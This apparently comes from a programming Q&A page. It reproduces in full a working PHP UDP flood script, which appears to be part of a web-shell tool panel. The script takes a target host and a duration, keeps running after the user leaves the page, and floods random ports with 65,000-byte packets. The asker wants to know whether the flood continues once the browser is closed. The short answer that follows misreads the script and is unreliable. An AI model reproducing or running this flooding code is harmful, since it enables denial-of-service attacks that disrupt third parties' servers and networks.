Search code examples
phpfsockopen

Do sockets opened with fsockopen stay open after you leave the page via your browser?


if(isset($_GET['host'])&&is_numeric($_GET['time'])){
    $pakits = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
            $out .= 'X';
    }
    while(1){
    $pakits++;
            if(time() > $max_time){
                    break;
            }
            $rand = rand(1,65000);
            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
        <form action="'.$surl.'" method=GET>
        <input type="hidden" name="act" value="phptools">
        Host: <input type=text name=host value=localhost>
        Length (seconds): <input type=text name=time value=9999>
        <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
            <form action=? method=GET>
            <input type="hidden" name="act" value="phptools">
            Host: <br><input type=text name=host value=localhost><br>
            Length (seconds): <br><input type=text name=time value=9999><br>
            <br>
            <input type=submit value=Go></form>';
}

I've been looking around and asking my friends for awhile now, if I use this script to tell the server to open the sockets using fsockopen, if I leave the webpage will the sockets remain open until the duration is completed?


Solution

  • No, it simply returns a pointer to a file which you can use with fopen(), or fwrite() etc.

    But then you will need to close the file once you are done with it with fclose(). See more details at: http://us.php.net/manual/en/function.fsockopen.php